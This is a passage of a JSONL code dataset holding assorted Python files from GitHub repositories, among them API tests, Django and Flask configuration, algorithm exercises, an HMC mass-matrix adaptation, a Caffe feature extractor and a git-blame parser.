self.assert200(response,\n 'Response body is : ' + response.data.decode('utf-8'))\n\n def test_is_secure(self):\n \"\"\"Test case for is_secure\n\n \n \"\"\"\n response = self.client.open(\n '/Marti/api/security/isSecure',\n method='GET')\n self.assert200(response,\n 'Response body is : ' + response.data.decode('utf-8'))\n\n def test_modify_auth_config(self):\n \"\"\"Test case for modify_auth_config\n\n \n \"\"\"\n body = AuthenticationConfigInfo()\n response = self.client.open(\n '/Marti/api/authentication/config',\n method='PUT',\n data=json.dumps(body),\n content_type='application/json')\n self.assert200(response,\n 'Response body is : ' + response.data.decode('utf-8'))\n\n def test_modify_sec_config(self):\n \"\"\"Test case for modify_sec_config\n\n \n \"\"\"\n body = SecurityConfigInfo()\n response = self.client.open(\n '/Marti/api/security/config',\n method='PUT',\n data=json.dumps(body),\n content_type='application/json')\n self.assert200(response,\n 'Response body is : ' + response.data.decode('utf-8'))\n\n def test_test_auth_config(self):\n \"\"\"Test case for test_auth_config\n\n \n \"\"\"\n response = self.client.open(\n '/Marti/api/authentication/config',\n method='POST')\n self.assert200(response,\n 'Response body is : ' + response.data.decode('utf-8'))\n\n def test_verify_config(self):\n \"\"\"Test case for verify_config\n\n \n \"\"\"\n response = self.client.open(\n '/Marti/api/security/verifyConfig',\n method='GET')\n self.assert200(response,\n 'Response body is : ' + response.data.decode('utf-8'))\n\n\nif __name__ == '__main__':\n import unittest\n unittest.main()\n","repo_name":"FreeTAKTeam/FreeTAKTest","sub_path":"TestData/swagger_server/test/test_security_authentication_api_controller.py","file_name":"test_security_authentication_api_controller.py","file_ext":"py","file_size_in_byte":3332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38124666317","text":"from django.urls import path\n\nfrom apps.menu.views import ItemListView, ItemDetailView, MenuCategoryView, DeleteItemView, EditItemView, CreateItemView\n\nurlpatterns = [\n path('details///', ItemDetailView.as_view(), name='details'),\n path('/', ItemListView.as_view(), name='item-list'),\n path('menu//', MenuCategoryView.as_view(), name='items-menu'),\n path('menu///delete/', DeleteItemView.as_view(), name='item-delete'),\n path('edit///', EditItemView.as_view(), name='item-edit'),\n path('edit//', CreateItemView.as_view(), name='item-create'),\n\n]\n","repo_name":"ceo-py/Ipizza","sub_path":"apps/menu/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"2743483748","text":"def solve(A, B, C):\n n = len(B)\n profit = [0] * (A + 1)\n for i in range(A + 1):\n for j in range(n):\n if C[j] <= i:\n profit[i] = max(profit[i], profit[i - C[j]] + B[j])\n print(profit)\n print(profit[A])\n\n\nA = 10\n# B contains value for ith weight\nB = [6, 7]\n# C contains weight i\nC = [5, 5]\nsolve(A,B,C)","repo_name":"nikhil3991/Problem_Solving","sub_path":"DP/Unbounded Knapsack.py","file_name":"Unbounded Knapsack.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21898583624","text":"import redis\nfrom json import loads\nfrom json import dumps\n\nfrom socketio.namespace import BaseNamespace\nfrom socketio import socketio_manage\n\n\ndef index(request):\n \"\"\" Base view to load our template \"\"\"\n return {}\n\n\nclass ChatNamespace(BaseNamespace):\n def listener(self):\n r = redis.StrictRedis()\n r = r.pubsub()\n\n r.subscribe('chat')\n\n for m in r.listen():\n if m['type'] == 'message':\n data = loads(m['data'])\n self.emit(\"chat\", data)\n\n def on_subscribe(self, *args, **kwargs):\n self.spawn(self.listener)\n\n def on_chat(self, msg):\n r = redis.Redis()\n r.publish('chat', dumps(msg))\n\n\ndef socketio_service(request):\n retval = socketio_manage(request.environ,\n {\n '': ChatNamespace,\n }, request=request\n )\n\n return retval\n","repo_name":"abourget/gevent-socketio","sub_path":"examples/pyramid_backbone_redis_chat/chatter3/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","stars":1217,"dataset":"github-code","pt":"48"} +{"seq_id":"43517500312","text":"# 김진영이 듣도 못한 사람의 명단과, 보도 못한 사람의 명단이 주어질 때, 듣도 보도 못한 사람의 명단을 구하는 프로그램을 작성하시오.\r\n\r\nN, M = map(int, input().split())\r\n\r\nnot_hear = set()\r\nfor _ in range(N):\r\n not_hear.add(input())\r\n\r\nnot_see = set()\r\nfor _ in range(M):\r\n not_see.add(input())\r\n\r\nintersection = not_see.intersection(not_hear)\r\nintersection = sorted(intersection)\r\nprint(len(intersection))\r\nfor i in intersection:\r\n print(i)","repo_name":"dnwls16071/PS_Baekjoon","sub_path":"1000~1999/1764.py","file_name":"1764.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72129051986","text":"import time\nimport collections\n\nimport pymc3 as pm\nfrom pymc3.step_methods.hmc.quadpotential import QuadPotential, _WeightedVariance\nimport theano\nfrom pymc3.math import floatX\nimport numpy as np\nfrom scipy import linalg\n\nfrom covadapt.matrix import Eigvals, DiagScaled, Diag\n\n\nclass EigvalsAdapt(QuadPotential):\n def __init__(\n self,\n n,\n initial_mean,\n estimators,\n initial_diag=None,\n initial_weight=0,\n adaptation_window=300,\n dtype=None,\n display=False,\n cutoff=0.7,\n ):\n \"\"\"Set up a diagonal mass matrix.\"\"\"\n if initial_diag is not None and initial_diag.ndim != 1:\n raise ValueError(\"Initial diagonal must be one-dimensional.\")\n if initial_mean.ndim != 1:\n raise ValueError(\"Initial mean must be one-dimensional.\")\n if initial_diag is not None and len(initial_diag) != n:\n raise ValueError(\n \"Wrong shape for initial_diag: expected %s got %s\"\n % (n, len(initial_diag))\n )\n if len(initial_mean) != n:\n raise ValueError(\n \"Wrong shape for initial_mean: expected %s got %s\"\n % (n, len(initial_mean))\n )\n\n if dtype is None:\n dtype = theano.config.floatX\n\n if initial_diag is None:\n initial_diag = np.ones(n, dtype=dtype)\n initial_weight = 1\n\n self._estimators = estimators\n self._cutoff = cutoff\n\n self._skip_first = 70\n self._n_diag_only = 500\n self._n_test = 150\n\n self.dtype = dtype\n self._n = n\n self._var = np.array(initial_diag, dtype=self.dtype, copy=True)\n self._stds = np.sqrt(initial_diag)\n self._inv_stds = floatX(1.0) / self._stds\n self._foreground_var = _WeightedVariance(\n self._n, initial_mean, initial_diag, initial_weight, self.dtype\n )\n self._background_var = _WeightedVariance(self._n, dtype=self.dtype)\n self._n_samples = 0\n self.adaptation_window = adaptation_window\n self._samples = collections.deque([], adaptation_window)\n self._grads = collections.deque([], adaptation_window)\n\n # Work around numba bug #3569\n vecs = np.ones((n, 2))\n inner = Eigvals(np.ones((2,)), vecs, 1)\n self._cov = DiagScaled(initial_diag, inner)\n self._cov_inv = self._cov.inv()\n self._display = display\n\n def velocity(self, x, out=None):\n \"\"\"Compute the current velocity at a position in parameter space.\"\"\"\n if out is None:\n out = np.empty_like(x)\n self._cov.matmult(x, out)\n return out\n\n def energy(self, x, velocity=None):\n \"\"\"Compute kinetic energy at a position in parameter space.\"\"\"\n if velocity is not None:\n return 0.5 * x.dot(velocity)\n return 0.5 * self._cov.quadform(x)\n\n def velocity_energy(self, x, v_out):\n \"\"\"Compute velocity and return kinetic energy at a position in parameter space.\"\"\"\n self.velocity(x, out=v_out)\n return self.energy(x, v_out)\n\n def random(self):\n \"\"\"Draw random value from QuadPotential.\"\"\"\n out = np.empty(self._n)\n self._cov_inv.draw(out)\n return out\n\n def _update_diag(self, weightvar):\n diag = np.empty(self._n)\n weightvar.current_variance(out=diag)\n self._cov.update_diag(diag)\n self._cov_inv.update_diag(1 / diag)\n\n def _update_offdiag(self, samples, grads):\n if self._display:\n print(\"n_samples\", len(samples))\n\n start = time.time()\n stds, vals, vecs = eigvals_from_window(\n samples, grads, self._n_test, self._estimators, self._cutoff\n )\n end = time.time()\n if self._display:\n print(\"Finding eigenvalues took %ss\" % (end - start))\n print(\"eigvals\", vals)\n\n if len(vals) > 0:\n inner = Eigvals(np.array(vals), np.array(vecs, order=\"C\"), 1.0)\n self._cov = DiagScaled(stds ** 2, inner)\n self._cov_inv = self._cov.inv()\n else:\n self._cov = Diag(stds ** 2)\n self._cov_inv = self._cov.inv()\n\n def update(self, sample, grad, tune):\n \"\"\"Inform the potential about a new sample during tuning.\"\"\"\n if not tune:\n return\n\n window = self.adaptation_window\n\n if self._n_samples > self._skip_first:\n self._samples.append(sample)\n self._grads.append(grad)\n\n if self._n_samples < self._n_diag_only:\n self._foreground_var.add_sample(sample, weight=1)\n self._background_var.add_sample(sample, weight=1)\n self._update_diag(self._foreground_var)\n if self._n_samples > 0 and self._n_samples % (window // 2) == 0:\n self._foreground_var = self._background_var\n self._background_var = _WeightedVariance(self._n, dtype=self.dtype)\n\n if (\n self._n_samples >= self._n_diag_only\n and (self._n_samples - self._n_diag_only) % (window // 3) == 0\n ):\n self._update_offdiag(list(self._samples), list(self._grads))\n\n self._n_samples += 1\n\n\ndef eigvals_from_window(samples, grads, n_test, estimators, cutoff):\n assert len(grads) == len(samples)\n assert n_test < len(samples)\n\n samples = np.array(samples)\n grads = np.array(grads)\n\n n_samples, n_dim = samples.shape\n\n stds = samples.std(0)\n mean = samples.mean(0)\n\n samples[...] -= mean[None, :]\n samples[...] /= stds[None, :]\n grads[...] *= stds[None, :]\n\n train_samples = samples[:-n_test]\n test_samples = samples[-n_test:]\n\n train_grads = grads[:-n_test]\n test_grads = grads[-n_test:]\n\n eigvars = []\n eigvecs = []\n for func in estimators:\n vars, vecs = func(train_samples, train_grads)\n vecs = vecs.T\n for var, vec in zip(vars, vecs):\n if np.abs(np.log(var)) > cutoff:\n eigvars.append(var)\n eigvecs.append(vec)\n\n if len(eigvars) == 0:\n return stds, [], []\n\n eigvecs = np.array(eigvecs)\n _, S, V = linalg.svd(eigvecs, full_matrices=False)\n vecs = V[S > 0.95]\n\n projected_test_samples = test_samples @ vecs.T\n\n _, svd, inner_eigvals = linalg.svd(projected_test_samples, full_matrices=False)\n test_eigvals = svd ** 2 / n_test\n\n test_eigvecs = inner_eigvals @ vecs\n\n final_vars = []\n final_vecs = []\n for val, vec in zip(test_eigvals, test_eigvecs):\n if np.abs(np.log(val)) > cutoff:\n final_vars.append(val)\n final_vecs.append(vec)\n\n final_vecs = np.array(final_vecs).T\n final_vars = np.array(final_vars)\n\n return stds, final_vars, final_vecs\n","repo_name":"aseyboldt/covadapt","sub_path":"covadapt/potential.py","file_name":"potential.py","file_ext":"py","file_size_in_byte":6768,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"48"} +{"seq_id":"3873641597","text":"__author__ = 'mstacy'\nfrom django.conf.urls import patterns, include, url\nfrom rest_framework import routers\n\nfrom obis.views import AcctaxViewSet , ComtaxViewSet, SyntaxViewSet,SearchViewSet\n\n\nrouter = routers.SimpleRouter()\nrouter.register('acctax', AcctaxViewSet)\nrouter.register('comtax', ComtaxViewSet)\nrouter.register('syntax', SyntaxViewSet)\nrouter.register('searchview',SearchViewSet)\n\nurlpatterns = patterns('',\n url(r'^', include(router.urls)),\n)\n","repo_name":"oklahoma-biological-survey/obis_api_local","sub_path":"obis/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72975021266","text":"# -*- encoding: utf-8 -*-\n\"\"\"\n@File : control_test.py\n@Time : 2022/10/18 21:12:39\n@Author : allen9629\n@Version : 1.0\n@Contact : allen9629@qq.com\n@Desc : None\n\"\"\"\n\nimport csv\nfrom logging import raiseExceptions\nimport time\nimport sys\n\nsys.path.append(\"..\")\nfrom AxoController import AxoController\nfrom InfoPlottor import InfoPlottor\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass testControl:\n def __init__(self, port: str = \"com3\") -> None:\n\n print(\"Start Reading Gait Data\")\n self.ankle_data = []\n self.hip_data = []\n\n def read_gait_data(self, file_path, isNormal: bool = True):\n csv_data_file_path = file_path\n with open(csv_data_file_path, newline='') as gait_data:\n gait_reader = csv.reader(gait_data, delimiter=',')\n for row in gait_reader:\n self.ankle_data.append(row[0])\n self.hip_data.append(row[1])\n # print(self.ankle_data[0])\n # print(self.hip_data[0])\n self.ankle_array = np.array(self.ankle_data)\n self.hip_array = np.array(self.hip_data)\n\n def plot_data(self, tgt, isPlot: bool = True):\n\n if isPlot:\n self.info_plottor = InfoPlottor(axo_controller=self.axo_controller)\n self.info_plottor.open_plot_info()\n self.info_plottor.set_target_pos(target_pos=tgt)\n plt.plot(self.ankle_array, label='al')\n plt.plot(self.hip_array, label='hl')\n plt.legend()\n plt.show()\n\n else:\n raiseExceptions('Plot option closed')\n\n def run(self):\n\n self.axo_controller.enter_control_mode()\n self.axo_controller.change_control_mode(\"velocity\")\n self.axo_controller.set_all_motors_pos_vel_based_sync(self.ankle_array[0])\n\n for target_pos in self.ankle_array:\n self.plot_data(isPlot=True)\n self.axo_controller.set_all_motors_pos_vel_based_sync(target_pos)\n\n self.axo_controller.exit_control_mode()\n self.axo_controller.change_control_mode(\"position\")\n\n def close(self):\n\n self.info_plottor.close_plot_info()\n self.axo_controller.close_controller()\n\n\nif __name__ == \"__main__\":\n\n tc = testControl()\n tc.read_gait_data(\"/Users/allenlim/Documents/AxoController/src/gait_gen/gait.csv\")\n\n try:\n tc.run()\n except KeyboardInterrupt:\n print(\"[INFO] Program Interrupted by Keyboard Commands\")\n finally:\n tc.close()\n","repo_name":"Beanpow/AxoController","sub_path":"src/test/control_test.py","file_name":"control_test.py","file_ext":"py","file_size_in_byte":2489,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"9203548267","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n https://hg.python.org/cpython/file/3.6/Lib/typing.py\n\"\"\"\n\n\nclass AnyObject(object):\n pass\n\n\n_transition = {\n 'Int': int,\n 'List': list,\n 'Dict': dict,\n 'String': (str, basestring),\n 'Mapping': dict,\n 'Any': AnyObject,\n 'Set': set,\n 'Callable': callable,\n 'Tuple': tuple,\n 'Iterable': iter,\n 'Sequence': (list, dict, set)\n}\n\n\nclass TypingMeta(type):\n\n def __new__(cls, name, bases, attrs):\n attrs['_typing'] = 'Typing'\n return super(TypingMeta, cls).__new__(cls, name, bases, attrs)\n\n\nclass TypeVar(object):\n __metaclass__ = TypingMeta\n\n def __init__(self, t_name):\n self.t_name = t_name\n\n\nclass _BaseType(object):\n __metaclass__ = TypingMeta\n\n def __init__(self, t_name):\n self.t_name = t_name\n if self.t_name not in _transition:\n raise TypeError(\"No such type: %s\" % self.t_name)\n self.t_type = _transition[self.t_name]\n self.t_item = None\n\n def __getitem__(self, name):\n self.t_item = name\n return self\n\n def __str__(self):\n s = \"%s.%s\" % (self._typing, self.t_name)\n if self.t_item:\n s += '[%s]' % self.t_item\n return s\n\n def __repr__(self):\n return '<{}>'.format(str(self))\n\n\ndef is_type(obj, ins):\n assert isinstance(ins, _BaseType), \"Invalid type: {}\".format(ins)\n t_type = ins.t_type\n t_name = ins.t_name\n if t_name == 'Callable':\n return callable(obj)\n if t_name == 'Any':\n return True\n return isinstance(obj, t_type)\n\n\nInt = _BaseType('Int')\nAny = _BaseType('Any')\nString = _BaseType('String')\nList = _BaseType('List')\nMapping = _BaseType('Mapping')\nSet = _BaseType('Set')\nCallable = _BaseType('Callable')\nTuple = _BaseType('Tuple')\nIter = _BaseType('Iterable')\nSequence = _BaseType('Sequence')\n","repo_name":"MrKiven/Takayi","sub_path":"takayi/typing.py","file_name":"typing.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"18309348971","text":"import matplotlib.pyplot as plt\nimport math\n\nf3 = open(\"Zadanie3/select3M30k80.txt\", \"r\")\nf5 = open(\"Zadanie3/select5M30k80.txt\", \"r\")\nf7 = open(\"Zadanie3/select7M30k80.txt\", \"r\")\nf9 = open(\"Zadanie3/select9M30k80.txt\", \"r\")\n\n\ncompares3 = []\ncompares5 = []\ncompares7 = []\ncompares9 = []\navgcompares3 = []\navgcompares5 = []\navgcompares7 = []\navgcompares9 = []\n\nN = []\navgN = []\n\nfor x in f3:\n split = x.split()\n compares3.append(float(split[0]))\nf3.close()\n\nfor x in f5:\n split = x.split()\n compares5.append(float(split[0]))\nf5.close()\n\nfor x in f7:\n split = x.split()\n compares7.append(float(split[0]))\nf7.close()\n\nfor x in f9:\n split = x.split()\n compares9.append(float(split[0]))\nf9.close()\n\n\n\n\nfor n in range(100,10001,100):\n avgcomk3 = 0\n avgcomk5 = 0\n avgcomk7 = 0\n avgcomk9 = 0\n for k in range(30):\n N.append(n)\n avgcomk3 += compares3[int(((n/100)-1)*30+k)] \n avgcomk5 += compares5[int(((n/100)-1)*30+k)] \n avgcomk7 += compares7[int(((n/100)-1)*30+k)] \n avgcomk9 += compares9[int(((n/100)-1)*30+k)]\n\n avgcompares3.append(float(avgcomk3/30))\n avgcompares5.append(float(avgcomk5/30))\n avgcompares7.append(float(avgcomk7/30))\n avgcompares9.append(float(avgcomk9/30))\n avgN.append(n)\n\n\n\n#plt.scatter(N, comparesR, s = 1)\n#plt.scatter(N, comparesS, s = 1, color = 'red')\n\nplt.scatter(avgN, avgcompares3, s = 1)\nplt.scatter(avgN, avgcompares5, s = 1, color = 'red')\nplt.scatter(avgN, avgcompares7, s = 1, color = 'black')\nplt.scatter(avgN, avgcompares9, s = 1, color = 'lightgreen')\n\n\nplt.ylabel('swaps')\nplt.xlabel('n')\n\nplt.legend([\"Select3\" , \"Select5\", \"Select7\" , \"Select9\"])\nplt.show()\n","repo_name":"krymus/AnalysisOfAlgorithms","sub_path":"L3/Zadanie3/read.py","file_name":"read.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35037165080","text":"from __future__ import print_function\n\nimport itertools\nimport os\nimport sys\nimport tempfile\n\nfrom google.protobuf import text_format as proto_text\nimport h5py\nimport numpy as np\n\n# Make sure that caffe is on the python path:\nCAFFE_ROOT = '/home/scratch/{}/caffe/'.format(os.environ['USER'])\nsys.path.insert(0, CAFFE_ROOT + 'python')\nimport caffe\nfrom caffe.proto import caffe_pb2\n\nc = lambda s: os.path.join(CAFFE_ROOT, s)\nCAFFENET_PROTO = c('models/bvlc_reference_caffenet/deploy.prototxt')\nCAFFENET_MODEL = c(\n 'models/bvlc_reference_caffenet/bvlc_reference_caffenet.caffemodel')\nMEAN_FILE = c('python/caffe/imagenet/ilsvrc_2012_mean.npy')\nMEAN = np.load(MEAN_FILE).mean(axis=(1, 2))\n\n\ndef load_net(prototxt=CAFFENET_PROTO, model=CAFFENET_MODEL, layers=['pool5'],\n data_mean=MEAN, batch_size=100):\n param = caffe_pb2.NetParameter()\n with open(prototxt, 'r') as f:\n proto_text.Parse(f.read(), param)\n\n param.layer[0].input_param.shape[0].dim[0] = batch_size\n\n # assume that everything after the last layer is garbage\n last_layer = max(i for i, l in enumerate(param.layer) if l.name in layers)\n out_size = sum\n del param.layer[last_layer + 1:]\n\n with tempfile.NamedTemporaryFile() as f:\n f.write(proto_text.MessageToString(param))\n f.flush()\n net = caffe.Net(f.name, model, caffe.TEST)\n\n transformer = caffe.io.Transformer({'data': net.blobs['data'].data.shape})\n transformer.set_transpose('data', (2,0,1))\n transformer.set_mean('data', data_mean) # mean pixel\n transformer.set_raw_scale('data', 255) # model works on [0,255], not [0,1]\n transformer.set_channel_swap('data', (2,1,0)) # model has channels in BGR\n\n return net, transformer\n\n\ndef preprocess_images(images, transformer):\n for image in images:\n if isinstance(image, (str, bytes)):\n image = caffe.io.load_image(image)\n yield transformer.preprocess('data', image)\n\n\ndef group(things, batch_size):\n out = []\n for x in things:\n out.append(x)\n if len(out) == batch_size:\n yield out\n out = []\n\n if out:\n yield out\n\n\ndef get_features(images, layers=['pool5'], batch_size=100, **kwargs):\n net, transformer = load_net(layers=layers, batch_size=batch_size, **kwargs)\n image_stream = preprocess_images(images, transformer)\n for batch in group(image_stream, batch_size):\n batch = np.asarray(batch)\n if len(batch) != batch_size: # last group\n net.blobs['data'].reshape(*batch.shape)\n net.blobs['data'].data[...] = batch\n net.forward()\n all_out = np.hstack([\n net.blobs[l].data.reshape(batch.shape[0], -1) for l in layers])\n for row in all_out:\n yield row\n\n\ndef main():\n import argparse\n try:\n import progressbar as pb\n except ImportError:\n print(\"Run `pip install progressbar2`, or take this line out\",\n file=sys.stderr)\n raise\n\n parser = argparse.ArgumentParser()\n parser.add_argument('images_file')\n parser.add_argument('out_h5')\n parser.add_argument('out_dset')\n parser.add_argument('--layers', '-l', nargs='+', default=['pool5'])\n parser.add_argument('--batch-size', type=int, default=500)\n g = parser.add_mutually_exclusive_group()\n g.add_argument('--cpu', action='store_true')\n g.add_argument('--gpu', type=int, default=None)\n args = parser.parse_args()\n\n if args.cpu:\n caffe.set_mode_cpu()\n else:\n caffe.set_mode_gpu()\n if args.gpu is not None:\n caffe.set_device(args.gpu)\n\n with open(args.images_file) as f:\n images = f.read().splitlines()\n\n with h5py.File(args.out_h5) as f:\n if args.out_dset in f:\n parser.error(\n '{}: {} already exists'.format(args.out_h5, args.out_dset))\n\n feats = iter(get_features(\n images, args.layers, batch_size=args.batch_size))\n n = len(images)\n\n # peek at the first result, to check dimensionality\n first = next(feats)\n dim = first.size\n feats = itertools.chain([first], feats)\n\n dset = f.create_dataset(args.out_dset, (n, dim), chunks=(1, dim))\n for i, feat in enumerate(pb.ProgressBar(max_value=n)(feats)):\n dset[i] = feat\n if i % 100000 == 0:\n f.flush()\n\nif __name__ == '__main__':\n main()\n","repo_name":"yifeim/XDATAYemen","sub_path":"extract_features.py","file_name":"extract_features.py","file_ext":"py","file_size_in_byte":4396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1781480564","text":"from flask import Flask\n\ndef create_app():\n app = Flask(__name__)\n\n # UPLOAD_FOLDER = 'es/data/'\n # app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\n app.jinja_env.auto_reload= True\n app.config['TEMPLATES_AUTO_RELOAD'] = True\n app.secret_key = 'super secret key'\n app.config['SESSION_TYPE'] = 'filesystem'\n\n\n from es.es_routes import elastic\n app.register_blueprint(elastic)\n\n return app\n","repo_name":"daehan0226/patent","sub_path":"es/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2403091225","text":"import datetime\nimport re\nfrom django.forms import formset_factory, modelformset_factory\nfrom django.shortcuts import redirect\nfrom django.urls import reverse\nfrom django.views.generic import UpdateView\nfrom orderForm.own_decorator import hash_is_allowed\nfrom orderForm.own_mixins import HashRequiredMixin\nfrom extras.views import PDFView\nfrom extras.views import ThanksForOderView\nfrom extras.views import customer_deliver_address_function\nfrom orderForm.own_mixins import ProveHashMixin\nfrom .forms import SurveyCreateForm, ArticleForm, BaseArticleForm, PaymentOptionForm\nfrom .models import SurveyOrderModel\n\n\n@hash_is_allowed\ndef surveyForm(request, hash):\n pk = re.sub(r'[^0-9]', '', hash[13:])\n return redirect(reverse('survey:survey_customer_form',\n kwargs={'hash': hash,\n 'pk': pk}\n ))\n\n\nclass CustomerSurveyUpdate(HashRequiredMixin, ProveHashMixin, UpdateView):\n model = SurveyOrderModel\n form_class = SurveyCreateForm\n template_name = 'surveyForm.html'\n formset_error = ''\n\n def get_context_data(self, **kwargs):\n context = super(CustomerSurveyUpdate, self).get_context_data(**kwargs)\n ArticleFormSet = formset_factory(ArticleForm, extra=4)\n initial = []\n if self.object.battery_size:\n for i in range(0, len(self.object.battery_size.split('$')) - 1):\n initial.append({'battery_size': self.object.battery_size.split('$')[i],\n 'number_of_collars': self.object.number_of_collars.split('$')[i],\n 'nom_collar_circumference': self.object.nom_collar_circumference.split('$')[i], })\n context['com_type_gl'] = self.object.globalstar\n context['com_type_ir'] = self.object.iridium\n context['formset'] = ArticleFormSet(initial=initial)\n context['formset_error'] = self.formset_error\n return context\n\n def get_initial(self):\n initial = super(CustomerSurveyUpdate, self).get_initial()\n return initial\n\n def get_success_url(self, **kwargs):\n return reverse('survey:survey_delivery_form', kwargs={'hash': self.kwargs['hash'],\n 'pk': self.kwargs['pk']})\n\n def form_valid(self, form):\n article_form_set = formset_factory(ArticleForm, min_num=1, validate_min=True, formset=BaseArticleForm)\n data = {\n 'form-TOTAL_FORMS': '4',\n 'form-INITIAL_FORMS': '0',\n 'form-MAX_NUM_FORMS': '0',\n 'form-0-battery_size': self.request.POST['form-0-battery_size'],\n 'form-0-number_of_collars': self.request.POST['form-0-number_of_collars'],\n 'form-0-nom_collar_circumference': self.request.POST['form-0-nom_collar_circumference'],\n 'form-1-battery_size': self.request.POST['form-1-battery_size'],\n 'form-1-number_of_collars': self.request.POST['form-1-number_of_collars'],\n 'form-1-nom_collar_circumference': self.request.POST['form-1-nom_collar_circumference'],\n 'form-2-battery_size': self.request.POST['form-2-battery_size'],\n 'form-2-number_of_collars': self.request.POST['form-2-number_of_collars'],\n 'form-2-nom_collar_circumference': self.request.POST['form-2-nom_collar_circumference'],\n 'form-3-battery_size': self.request.POST['form-3-battery_size'],\n 'form-3-number_of_collars': self.request.POST['form-3-number_of_collars'],\n 'form-3-nom_collar_circumference': self.request.POST['form-3-nom_collar_circumference'],\n }\n formset = article_form_set(data)\n batterie_sizes_string = ''\n num_collars_string = ''\n circumference_string = ''\n if formset.is_valid():\n for f in formset.cleaned_data:\n if len(f) > 1 is not None:\n batterie_sizes_string += f['battery_size'] + '$'\n num_collars_string += str(f['number_of_collars']) + '$'\n circumference_string += f['nom_collar_circumference'] + '$'\n else:\n self.formset_error = 'error'\n return super(CustomerSurveyUpdate, self).form_invalid(form)\n instance = form.save(commit=False)\n instance.number_of_collars = num_collars_string\n instance.battery_size = batterie_sizes_string\n instance.nom_collar_circumference = circumference_string\n instance.save()\n return super(CustomerSurveyUpdate, self).form_valid(form)\n\n\ndef customer_deliver_address(request, hash, pk):\n return customer_deliver_address_function(request, hash, pk, SurveyOrderModel, 'survey:thanks', PaymentOptionForm)\n\n\nclass ThanksView(ThanksForOderView):\n def __init__(self):\n super(ThanksView, self).__init__(SurveyOrderModel)\n\n\nclass SurveyPDFView(PDFView):\n def __init__(self):\n super(SurveyPDFView, self).__init__(SurveyOrderModel, 'surveyHtml4Pdf.html', 'order_from')\n\n","repo_name":"303dog/onlineOrderForm-1","sub_path":"survey/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30767010661","text":"from __future__ import annotations\n\nfrom typing import Dict, Iterator, List, NamedTuple, Optional, Tuple, Union\n\nimport itertools\n\nfrom .git import OID, call_git, IndexedRange\n\n\nclass BlameCommitProperties(NamedTuple):\n filename: bytes\n is_boundary: bool\n\n\nclass BlameLineProperties(NamedTuple):\n rev: OID\n filename: bytes\n is_boundary: bool\n old_line: int\n new_line: int\n starts_seq: bool\n\n\nasync def run_blame(\n indexed_range: IndexedRange, root_rev: Optional[OID] = None\n) -> List[Tuple[IndexedRange, IndexedRange]]:\n if indexed_range.extent == 0:\n return []\n\n if root_rev is None:\n revision_range = str(indexed_range.rev)\n else:\n revision_range = f'{root_rev}..{indexed_range.rev}'\n\n _, out, _ = await call_git(\n 'blame',\n '--porcelain',\n f'-L{indexed_range.start},+{indexed_range.extent}',\n revision_range,\n '--',\n indexed_range.file,\n )\n return parse_blame(\n indexed_range, out.split(b'\\n'), include_boundary=root_rev is None\n )\n\n\ndef parse_blame(\n src_range: IndexedRange, blame_lines: List[bytes], include_boundary: bool\n) -> List[Tuple[IndexedRange, IndexedRange]]:\n range_mapping: List[Tuple[IndexedRange, IndexedRange]] = []\n\n for transformed_line in get_blame_transforms(blame_lines):\n if (not include_boundary) and transformed_line.is_boundary:\n continue\n\n if range_mapping and not transformed_line.starts_seq:\n last_old, last_new = range_mapping[-1]\n if (\n last_old.file == transformed_line.filename\n and last_old.start + last_old.extent == transformed_line.old_line\n and last_new.start + last_new.extent == transformed_line.new_line\n ):\n last_old.extent += 1\n last_new.extent += 1\n continue\n\n range_mapping.append(\n (\n IndexedRange(\n rev=transformed_line.rev,\n file=transformed_line.filename,\n start=transformed_line.old_line,\n extent=1,\n ),\n IndexedRange(\n rev=src_range.rev,\n file=src_range.file,\n start=transformed_line.new_line,\n extent=1,\n ),\n )\n )\n\n return range_mapping\n\n\ndef get_blame_transforms(blame_lines: List[bytes]) -> Iterator[BlameLineProperties]:\n \"\"\"Yield a tuple for each blamed line indicating its source\n\n For our purposes, we interpret the porcelain blame format as follows:\n\n
    \n ?\n
